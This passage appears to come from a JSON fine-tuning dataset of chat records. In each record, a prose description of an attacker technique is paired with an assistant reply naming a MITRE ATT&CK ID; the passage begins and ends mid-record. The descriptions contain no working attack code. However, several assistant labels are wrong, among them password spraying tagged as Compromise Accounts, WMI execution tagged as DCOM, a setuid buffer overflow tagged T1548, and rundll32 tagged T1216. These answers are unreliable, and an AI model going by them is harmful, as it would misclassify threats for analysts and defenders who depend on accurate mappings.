                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sets up a reverse shell over TLS through a cloud‑hosted web service to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed an SNMP walk with OID .1.3.6.1.2.1 to harvest network topology information."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains a stolen digital certificate from a third‑party vendor and uses it to sign malicious PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encrypts stolen documents with a symmetric cipher and exfiltrates them via HTTPS GET requests, blending the traffic with normal web browsing."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection installs a keylogger that specifically targets GUI applications by hooking GetMessage calls."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DCOM, the malware establishes a remote control channel to execute code on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan exfiltrates data by encoding stolen files into the header fields of seemingly innocuous JPEG images before uploading them to a cloud storage service."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a credential‑stealing malware that monitors web browsers and uploads saved social media passwords to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor placed a binary called 'photo.png.exe' in the shared folder, hoping users would think it's an image."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise involved exfiltrating reconnaissance data by uploading it to a compromised Box.com account via OAuth authentication."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is installed as a Windows service extension for Terminal Services, allowing the attacker to run code with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the target system for shared folders using the Net View command."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a Python command embedded in a bash script to obfuscate malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves allocating a TLS variable, copying malicious code into it, and then forcing a thread to execute that code."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used DiskPart to clean the target's hard disks, removing all partitions and wiping stored data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor added a malicious DLL to the Java application server's classpath, enabling execution of arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors pull DNS resolver logs from public databases to trace the communication endpoints used by the target."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid cloud admin credentials, the intruder opens a remote GUI session to a virtual machine hosted in AWS EC2."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group encrypts data with AES and sends it over a standard SMTP email to an attacker‑controlled address."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to add a backdoored stored procedure that runs with SYSTEM rights on the SQL server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uploaded data dumps to a malicious Azure Blob storage container as staging."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor applies code virtualization, converting the malicious code into a custom bytecode interpreted by an embedded VM."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the sudo timestamp mechanism, the adversary executed multiple privileged commands over an extended period without re-entering a password."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a compromised developer's certificate to sign a trojan and bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected via the vDSO, allowing the attacker to execute payloads with the privileges of the compromised process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised machine, the adversary queried the DNS history API of a security platform to retrieve past A records for the target domain."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider accessed Confluence's export feature to download a full site backup, then transferred the archive to an external server."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the rundll32.exe proxy to load a malicious DLL that executes JavaScript code."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain that resolves to a constantly changing set of compromised IP addresses using fast-flux DNS techniques."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a rogue Ethernet tap in the data center to capture SMB traffic and extract file shares credentials."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a driver flaw to cause continuous hardware interrupt storms, effectively freezing the endpoint's operating system."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the threat actor cleared the mailbox contents of compromised user accounts."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries forged authentication certificates using compromised private keys to gain unauthorized access to resources."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercise copied the legitimate 'svchost.exe' file, modified it to include backdoor code, and redeployed it in the same location."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds an entry to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware generates domain names on the fly and performs DNS lookups to discover its command-and-control server, using dynamic resolution at runtime."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs a custom protocol over UDP to send chunks of data to an attacker‑controlled server, bypassing typical firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging Outlook's rule engine, the threat actor sets up a rule that runs a PowerShell command to download additional malware whenever the Inbox is synchronized."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant not only encrypted files but also executed a wiper routine to destroy backups."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool performed a recursive directory walk using Python's os.walk() to map the host's file structure."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL hooked into the clipboard handling functions to steal copied credentials."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages XDG desktop specifications by adding a malicious entry to ~/.config/autostart to run code each time the graphical session begins."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the Windows Command Shell to execute \"type C:\\Windows\\system32\\drivers\\etc\\hosts\" to read the hosts file."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a firmware flashing vulnerability to install a rootkit in the system's boot ROM."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit leverages a buffer overflow in a setuid root binary to overwrite the return address and spawn a root shell."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages Windows API calls to retrieve network connection tables."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious .cer file and uses certutil to add it to the Trusted Root Certification Authorities store, enabling signed payload execution."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses Kerberos by requesting service tickets for SPNs and then uses GPU‑accelerated cracking to recover the underlying password hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors scrape DNS zone transfer logs from third‑party DNS services to discover legacy domain mappings."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary updates the user's .profile to include a call to a hidden script that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A developer leaves the Docker Remote API enabled on a public network interface, and an external adversary queries the /containers/{id}/json endpoint to retrieve environment variables containing AWS access keys."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a trojan that logs every mouse movement and click within the victim's Office suite, storing the captured data locally."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gathers all .xlsx spreadsheets found on the local system and stages them for upload."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account edits the service registry keys to point to an attacker-controlled payload, achieving privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor takes over a package repository and publishes a tampered version of a dependency, which is automatically downloaded and integrated by the victim's development team."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a stolen SSH key to read encrypted configuration files on a remote server, then decrypts them for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WMI, the intruder spawns a PowerShell script on a remote host to continue the attack."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script extracts the current Wi‑Fi connection details, including BSSID and signal strength, from the system."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates user documents on the compromised machine and copies them to a hidden directory before uploading them."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a command-line tool to trigger cloud snapshot creation of a compromised compute instance."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performs DNS zone transfers to enumerate subdomains of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged third‑party DNS lookup tools to enumerate subdomains of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrated data by staging it on a compromised FTP server before downloading it to their own infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By crafting a malicious .inf file and executing it with cmstp.exe, the attacker achieved code execution without raising alerts from endpoint security."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a password spraying attack against the organization’s O365 portal to gain email access."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor issues a `kubectl run` command to launch a privileged pod that runs arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a malicious firmware image to overwrite the device's bootloader, enabling persistent control."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign included automated downloading of files from SharePoint using the CSOM API."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captured session cookies for a cloud dashboard, allowing the attacker to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign grants attackers remote desktop access, allowing them to export mailboxes from Exchange Server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor sends base64‑encoded data hidden in the body of email messages via SMTP to bypass network detection."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes adding a malicious print processor DLL to the system's print driver store and registering it for auto-launch."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modified the auto-scaling group configuration in AWS to spawn additional vulnerable instances under their control."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a new local system account and assigns it to the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised mobile device’s notification access is abused to automatically approve MFA push requests sent to the user’s account."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
